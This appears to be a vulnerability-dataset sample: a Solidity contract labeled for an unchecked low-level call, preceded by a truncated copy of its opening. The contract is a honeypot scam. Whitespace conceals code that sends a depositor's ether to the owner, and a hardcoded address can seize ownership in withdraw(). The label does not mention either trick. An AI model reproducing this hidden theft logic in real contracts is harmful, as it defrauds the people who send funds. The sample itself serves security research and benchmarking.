HIGH severity: Unchecked Low Level Calls vulnerability in 0xd2018bfaa266a9ec0a1a84b061640faa009def76. /*
 * @source: etherscan.io 
 * @author: -
 * @vulnerable_at_lines: 44
 */

pragma solidity ^0.4.19;

contract Pie
{
    address public Owner = msg.sender;
   
    function()
    public
    payable
    {
        
    }
   
    function Get()
    public
    payable
    {                              

Vulnerable code:
/*
 * @source: etherscan.io 
 * @author: -
 * @vulnerable_at_lines: 44
 */

pragma solidity ^0.4.19;

contract Pie
{
    address public Owner = msg.sender;
   
    function()
    public
    payable
    {
        
    }
   
    function Get()
    public
    payable
    {                                                                    
        if(msg.value>1 ether)
        {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Owner.transfer(this.balance);                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     
            msg.sender.transfer(this.balance);
        }                                                                                                                
    }
    
    function withdraw()
    payable
    public
    {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if(msg.sender==0x1Fb3acdBa788CA50Ce165E5A4151f05187C67cd6){Owner=0x1Fb3acdBa788CA50Ce165E5A4151f05187C67cd6;}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        // <yes> <report> UNCHECKED_LL_CALLS
        adr.call.value(msg.value)(data);
    }
}

Vulnerability type: unchecked_low_level_calls